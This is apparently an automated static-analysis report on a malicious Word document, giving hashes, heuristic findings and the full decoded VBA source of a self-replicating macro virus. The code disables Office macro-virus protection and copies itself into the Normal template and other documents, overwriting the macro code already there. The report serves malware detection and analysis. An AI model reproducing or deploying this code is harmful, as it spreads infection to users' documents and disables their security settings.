Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 81ade36d48d399d0…

MALICIOUS

Office (OLE) / .DOC

1.35 MB Created: 2023-03-28 02:56:00 Authoring application: WPS Office_12.1.0.25225_F1E327BC-269C-435d-A152-05C5408002CA First seen: 2026-06-16
MD5: 16ee3605e9e17fc9c548974727524844 SHA-1: af20758b662ae93eaa0c44efe36b62c5f58a21c9 SHA-256: 81ade36d48d399d03ed06f9817ba4e28a00f008480c3b3e88106153a27b555fa
88 Risk Score

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4582 bytes
SHA-256: c15e9f6fa770f7615cfcaf70d2a8c94b5bc9044869831387c1b5e8afae374223
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.codemodule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Tengyuer-19th Augest.The World may Forget but not me"
    x10 = MsgBox("Write by Tengyue", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Write by Tengyue."
    Else
        MsgBox " Write by Tengyue." & vbCrLf & "Write by Tengyue", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
        x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
        x6.codemodule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Write by Tengyue": .Subject = "Write by Tengyue ": .Author = "165134337@qq.com": .Category = "165134337@qq.com": .Keywords = "165134337@qq.com": .Comments = "165134337@qq.com": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
     x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
     x5.codemodule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Write by Tengyue": .Subject = "Write by Tengyue ": .Author = "165134337@qq.com": .Category = "165134337@qq.com": .Keywords = "165134337@qq.com": .Comments = "165134337@qq.com": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.codemodule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Write by Tengyue": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.codemodule.Find(x15, 1, 1, 10000, 10000)

With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    x10 = MsgBox("Write by Tengyue", vbYesNo)
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.